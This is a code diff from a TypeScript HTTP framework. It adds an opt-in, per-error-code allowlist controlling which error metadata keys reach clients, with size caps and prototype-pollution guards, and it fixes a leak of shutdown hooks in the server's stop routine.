* At `defineHttpConfig`, never on the request. A CORS pair a browser can never accept resolves to
|
|
301
325
|
* "emit no CORS headers at all", which is unreadable from the console: every cross-origin call
|
package/src/index.ts
CHANGED
|
@@ -31,7 +31,7 @@ export {
|
|
|
31
31
|
export type { InboundCorrelation } from './correlation';
|
|
32
32
|
export { readCorrelation } from './correlation';
|
|
33
33
|
export type { CorsConfig } from './cors';
|
|
34
|
-
export { allowedOrigin, corsHeaders, DEFAULT_CORS, preflight } from './cors';
|
|
34
|
+
export { allowedOrigin, corsHeaders, DEFAULT_CORS, originListed, preflight } from './cors';
|
|
35
35
|
export type { CsrfCheckInput, CsrfConfig, CsrfMode, CsrfVerdict } from './csrf';
|
|
36
36
|
export { checkCsrf, DEFAULT_CSRF, selfOrigin } from './csrf';
|
|
37
37
|
export type { Deadline } from './deadline';
|
|
@@ -115,6 +115,8 @@ export type { PeerIdentity } from './peer-identity';
|
|
|
115
115
|
export { peerIdentity } from './peer-identity';
|
|
116
116
|
export type { HandleInit, Pipeline, PipelineDeps } from './pipeline';
|
|
117
117
|
export { createPipeline, PIPELINE_STAGES } from './pipeline';
|
|
118
|
+
export type { ProblemMeta, ProblemMetaValue } from './problem-meta';
|
|
119
|
+
export { MAX_PROBLEM_META_BYTES, registerProblemMeta, resetProblemMeta } from './problem-meta';
|
|
118
120
|
export type {
|
|
119
121
|
Bucket,
|
|
120
122
|
MemoryRateLimitStore,
|
|
@@ -0,0 +1,197 @@
|
|
|
1
|
+
// Which of an error's `meta` keys a problem document may carry, per code — and the copy of them
|
|
2
|
+
// that leaves the process. Split from `error-map.ts` (457 lines against the 500-line ceiling) and
|
|
3
|
+
// kept beside it in shape: `registerErrorStatus` is the app's declaration of the HTTP half of a
|
|
4
|
+
// code, and this is the second half of the same declaration, written in the same file of the app.
|
|
5
|
+
//
|
|
6
|
+
// OPT-IN, PER KEY, BY CODE — never "carry `meta`". `meta` is the framework's OPERATOR-ONLY bag
|
|
7
|
+
// and four packages depend on it never reaching a caller: `bodyInvalid` puts the fragment of the
|
|
8
|
+
// body the parser choked on there (a `{"password": …}` excerpt, once), the rate limiter puts the
|
|
9
|
+
// internal key it promoted an anonymous caller to, core's `assert` puts the rejected VALUE, and
|
|
10
|
+
// `env-example.ts` puts file paths. A blanket carry would have shipped every one of them to the
|
|
11
|
+
// network tab. So an app names the keys, for the codes it owns, and everything else stays where
|
|
12
|
+
// it was. Measured need: an app's `X_SESSION_CHECKOUT_BUSY` carried `{ sessionId, title, state }`
|
|
13
|
+
// in `meta` and its island recovered the id by running a UUID regex over `cause`.
|
|
14
|
+
|
|
15
|
+
import { ERROR_STATUS } from './error-map';
|
|
16
|
+
import { problemMetaInvalid } from './errors';
|
|
17
|
+
|
|
18
|
+
/** What a problem document's `meta` member holds — JSON, and nothing JSON cannot carry. */
|
|
19
|
+
export type ProblemMetaValue =
|
|
20
|
+
| string
|
|
21
|
+
| number
|
|
22
|
+
| boolean
|
|
23
|
+
| null
|
|
24
|
+
| readonly ProblemMetaValue[]
|
|
25
|
+
| { readonly [key: string]: ProblemMetaValue };
|
|
26
|
+
|
|
27
|
+
export type ProblemMeta = Readonly<Record<string, ProblemMetaValue>>;
|
|
28
|
+
|
|
29
|
+
/**
|
|
30
|
+
* The serialised ceiling, in bytes, of what a document carries under `meta`. A problem body is a
|
|
31
|
+
* refusal, not a payload: `MAX_PROBLEM_ISSUES` bounds the other extension for the same reason.
|
|
32
|
+
* Over the cap the member is dropped WHOLE, never cut — a subset of keys is a claim the server
|
|
33
|
+
* never made, and a client reading `meta.sessionId` off a document that dropped `sessionId` to
|
|
34
|
+
* make room has no way to tell "absent" from "cut".
|
|
35
|
+
*/
|
|
36
|
+
export const MAX_PROBLEM_META_BYTES = 4096;
|
|
37
|
+
|
|
38
|
+
/**
|
|
39
|
+
* A key is spelled the way a code's `meta` key is spelled in source. `issues` is refused by name
|
|
40
|
+
* because it already has a top-level home (`ProblemDocument.issues`, parsed and bounded on its
|
|
41
|
+
* own terms), and a second copy under `meta.issues` is two places for a client to read one fact.
|
|
42
|
+
* `__proto__` is refused because `JSON.parse` on the receiving side mints it as a real own key.
|
|
43
|
+
*/
|
|
44
|
+
const KEY = /^[A-Za-z_$][\w$]*$/;
|
|
45
|
+
const RESERVED_KEYS: ReadonlySet<string> = new Set(['issues', '__proto__']);
|
|
46
|
+
|
|
47
|
+
/** Per app-owned code, the `meta` keys its documents carry. A `Map`, for `APP_ERROR_STATUS`'s reason. */
|
|
48
|
+
const DECLARED = new Map<string, readonly string[]>();
|
|
49
|
+
|
|
50
|
+
const sameKeys = (left: readonly string[], right: readonly string[]): boolean =>
|
|
51
|
+
left.length === right.length && left.every((key, at) => key === right[at]);
|
|
52
|
+
|
|
53
|
+
/**
|
|
54
|
+
* Declare, per code, which `meta` keys the problem document carries. Call it once at boot, in
|
|
55
|
+
* the module that declares the codes — beside `registerErrorStatus`, and BOTH are needed: a code
|
|
56
|
+
* with no declared status is an unclassified 5xx, and `toProblem` blanks everything but the code
|
|
57
|
+
* and the request id on one of those, `meta` included.
|
|
58
|
+
*
|
|
59
|
+
* ```ts
|
|
60
|
+
* registerErrorStatus({ X_SESSION_CHECKOUT_BUSY: 409 });
|
|
61
|
+
* registerProblemMeta({ X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] });
|
|
62
|
+
* ```
|
|
63
|
+
*
|
|
64
|
+
* Framework-owned codes are refused, exactly as `registerErrorStatus` refuses them: their `meta`
|
|
65
|
+
* is where the framework keeps what a caller must not be handed, and an app that could declare
|
|
66
|
+
* `X_RATE_LIMITED: ['key']` would publish the limiter's internal key on every 429.
|
|
67
|
+
*/
|
|
68
|
+
export const registerProblemMeta = (
|
|
69
|
+
declarations: Readonly<Record<string, readonly string[]>>,
|
|
70
|
+
): void => {
|
|
71
|
+
for (const [code, keys] of Object.entries(declarations)) {
|
|
72
|
+
if (frameworkOwns(code)) {
|
|
73
|
+
throw problemMetaInvalid(code, 'the framework owns that code, and its meta is operator-only');
|
|
74
|
+
}
|
|
75
|
+
if (keys.length === 0) {
|
|
76
|
+
throw problemMetaInvalid(code, 'the key list is empty — omit the code instead');
|
|
77
|
+
}
|
|
78
|
+
for (const key of keys) {
|
|
79
|
+
if (typeof key !== 'string' || !KEY.test(key)) {
|
|
80
|
+
throw problemMetaInvalid(code, `${JSON.stringify(key)} is not a meta key`);
|
|
81
|
+
}
|
|
82
|
+
if (RESERVED_KEYS.has(key)) {
|
|
83
|
+
throw problemMetaInvalid(
|
|
84
|
+
code,
|
|
85
|
+
key === 'issues'
|
|
86
|
+
? '`issues` already rides at the top level of the document'
|
|
87
|
+
: `\`${key}\` is not a key a document may carry`,
|
|
88
|
+
);
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
const existing = DECLARED.get(code);
|
|
92
|
+
if (existing !== undefined && !sameKeys(existing, keys)) {
|
|
93
|
+
throw problemMetaInvalid(code, `already declared as [${existing.join(', ')}] by this app`);
|
|
94
|
+
}
|
|
95
|
+
DECLARED.set(code, [...keys]);
|
|
96
|
+
}
|
|
97
|
+
};
|
|
98
|
+
|
|
99
|
+
/** Test seam. Production registers once at boot and never unregisters. */
|
|
100
|
+
export const resetProblemMeta = (): void => DECLARED.clear();
|
|
101
|
+
|
|
102
|
+
/** The keys declared for a code, or `undefined` when nothing was — which is every framework code. */
|
|
103
|
+
export const problemMetaKeysFor = (code: string): readonly string[] | undefined =>
|
|
104
|
+
DECLARED.get(code);
|
|
105
|
+
|
|
106
|
+
/**
|
|
107
|
+
* A code this package's table maps is the framework's. A `Set` of the table's own keys, for the
|
|
108
|
+
* reason `frameworkStatus` reads that table through `Object.hasOwn`: it is an object literal,
|
|
109
|
+
* and `registerProblemMeta({ toString: [...] })` must not find a function in it.
|
|
110
|
+
*/
|
|
111
|
+
const FRAMEWORK_CODES: ReadonlySet<string> = new Set(Object.keys(ERROR_STATUS));
|
|
112
|
+
const frameworkOwns = (code: string): boolean => FRAMEWORK_CODES.has(code);
|
|
113
|
+
|
|
114
|
+
/**
|
|
115
|
+
* The declared keys of `meta`, copied member by member into a fresh document, or `undefined`.
|
|
116
|
+
*
|
|
117
|
+
* TOTAL — `meta` is a property read on a value this package did not build, in the frame that
|
|
118
|
+
* decides what the caller sees (`retryAfterOf`'s reason). ALL-OR-NOTHING, for `issuesOf`'s
|
|
119
|
+
* reason: a document carrying `sessionId` and silently missing `state` is a claim the server
|
|
120
|
+
* never made. So one value JSON cannot carry — a function, a `bigint`, a `Date`, a class
|
|
121
|
+
* instance, a non-finite number, a cycle — drops the WHOLE member, and so does a serialisation
|
|
122
|
+
* past `MAX_PROBLEM_META_BYTES`. A structural walk and never a `JSON.stringify` round trip: the
|
|
123
|
+
* round trip drops a function and an `undefined` SILENTLY, which is the footgun rather than the
|
|
124
|
+
* check (`@ultimat3/render`'s `island-props.ts` walks for the same reason).
|
|
125
|
+
*
|
|
126
|
+
* ABSENT when nothing survives — never `{}`. `{}` says "the server declared meta and had none",
|
|
127
|
+
* which a client cannot tell from "the server carries no meta for this code".
|
|
128
|
+
*/
|
|
129
|
+
export function wireMeta(source: unknown, keys: readonly string[]): ProblemMeta | undefined {
|
|
130
|
+
try {
|
|
131
|
+
if (typeof source !== 'object' || source === null) return undefined;
|
|
132
|
+
const meta = source as Record<string, unknown>;
|
|
133
|
+
const out: Record<string, ProblemMetaValue> = {};
|
|
134
|
+
let carried = 0;
|
|
135
|
+
for (const key of keys) {
|
|
136
|
+
if (!Object.hasOwn(meta, key)) continue;
|
|
137
|
+
const value = jsonSafe(meta[key], new Set());
|
|
138
|
+
if (value === MISSING) return undefined;
|
|
139
|
+
define(out, key, value);
|
|
140
|
+
carried += 1;
|
|
141
|
+
}
|
|
142
|
+
if (carried === 0) return undefined;
|
|
143
|
+
const bytes = new TextEncoder().encode(JSON.stringify(out)).byteLength;
|
|
144
|
+
return bytes > MAX_PROBLEM_META_BYTES ? undefined : out;
|
|
145
|
+
} catch {
|
|
146
|
+
return undefined;
|
|
147
|
+
}
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
/** The one value the walk cannot answer with, distinct from the `null` JSON can carry. */
|
|
151
|
+
const MISSING: unique symbol = Symbol('problem-meta.missing');
|
|
152
|
+
|
|
153
|
+
/**
|
|
154
|
+
* A plain own data property, whatever the name: `out[key] = value` for the one name `__proto__`
|
|
155
|
+
* runs `Object.prototype`'s setter instead of adding a key. `registerProblemMeta` refuses that
|
|
156
|
+
* name at the top level; a NESTED object off the error is walked here with the same care, and
|
|
157
|
+
* the key is skipped outright — the receiving `JSON.parse` would mint it as an own key again.
|
|
158
|
+
*/
|
|
159
|
+
function define(out: Record<string, ProblemMetaValue>, key: string, value: ProblemMetaValue): void {
|
|
160
|
+
Object.defineProperty(out, key, { value, writable: true, enumerable: true, configurable: true });
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
function jsonSafe(value: unknown, seen: Set<object>): ProblemMetaValue | typeof MISSING {
|
|
164
|
+
if (value === null) return null;
|
|
165
|
+
if (typeof value === 'string' || typeof value === 'boolean') return value;
|
|
166
|
+
if (typeof value === 'number') return Number.isFinite(value) ? value : MISSING;
|
|
167
|
+
if (typeof value !== 'object') return MISSING;
|
|
168
|
+
if (seen.has(value)) return MISSING;
|
|
169
|
+
seen.add(value);
|
|
170
|
+
let out: ProblemMetaValue | typeof MISSING = MISSING;
|
|
171
|
+
if (Array.isArray(value)) {
|
|
172
|
+
const items: ProblemMetaValue[] = [];
|
|
173
|
+
for (const item of value as readonly unknown[]) {
|
|
174
|
+
const safe = jsonSafe(item, seen);
|
|
175
|
+
if (safe === MISSING) return MISSING;
|
|
176
|
+
items.push(safe);
|
|
177
|
+
}
|
|
178
|
+
out = items;
|
|
179
|
+
} else if (isPlainObject(value)) {
|
|
180
|
+
const record: Record<string, ProblemMetaValue> = {};
|
|
181
|
+
for (const [key, item] of Object.entries(value)) {
|
|
182
|
+
if (key === '__proto__') continue;
|
|
183
|
+
const safe = jsonSafe(item, seen);
|
|
184
|
+
if (safe === MISSING) return MISSING;
|
|
185
|
+
define(record, key, safe);
|
|
186
|
+
}
|
|
187
|
+
out = record;
|
|
188
|
+
}
|
|
189
|
+
seen.delete(value);
|
|
190
|
+
return out;
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
/** A `Date`, a `Map`, an error, a class instance: each serialises to something other than itself. */
|
|
194
|
+
function isPlainObject(value: object): value is Record<string, unknown> {
|
|
195
|
+
const proto: unknown = Object.getPrototypeOf(value);
|
|
196
|
+
return proto === Object.prototype || proto === null;
|
|
197
|
+
}
|
package/src/server.ts
CHANGED
|
@@ -210,7 +210,26 @@ export const createServer = (options: ServerOptions): ServerHandle => {
|
|
|
210
210
|
return handle;
|
|
211
211
|
},
|
|
212
212
|
async stop() {
|
|
213
|
-
|
|
213
|
+
// Handed back FIRST, above every early return: on the SIGTERM path the `close` hook has
|
|
214
|
+
// already set `server = undefined`, so `if (server === undefined) return` skipped the
|
|
215
|
+
// release in the `finally` below for exactly the path production takes — two hooks left
|
|
216
|
+
// registered against a socket that is gone, per server, per lifecycle, which is the leak
|
|
217
|
+
// core's `shutdownHookCount()` exists to make visible. The shape `worker.ts`'s teardown
|
|
218
|
+
// holds: the unregisters are the closure's, not the drain's.
|
|
219
|
+
const releaseHooks = (): void => {
|
|
220
|
+
unregister?.();
|
|
221
|
+
unregisterClose?.();
|
|
222
|
+
unregister = undefined;
|
|
223
|
+
unregisterClose = undefined;
|
|
224
|
+
};
|
|
225
|
+
if (server === undefined) {
|
|
226
|
+
releaseHooks();
|
|
227
|
+
// Idempotent, and this path reaches it too: the close hook released the announcement, or
|
|
228
|
+
// the deadline cut it short and nobody did.
|
|
229
|
+
stopListening?.();
|
|
230
|
+
stopListening = undefined;
|
|
231
|
+
return;
|
|
232
|
+
}
|
|
214
233
|
try {
|
|
215
234
|
// Delegate to core so a manual stop() and a real SIGTERM take the identical
|
|
216
235
|
// three-phase path. The drain deadline is core's, not ours.
|
|
@@ -219,8 +238,7 @@ export const createServer = (options: ServerOptions): ServerHandle => {
|
|
|
219
238
|
// A throwing drain() must not leave this handle's hooks registered against a server
|
|
220
239
|
// that is going away — core would still call them, against `server` fields already
|
|
221
240
|
// torn down below, on the next drain this process runs.
|
|
222
|
-
|
|
223
|
-
unregisterClose?.();
|
|
241
|
+
releaseHooks();
|
|
224
242
|
}
|
|
225
243
|
// Idempotent: the close hook already released, unless the drain deadline cut it short.
|
|
226
244
|
stopListening?.();
|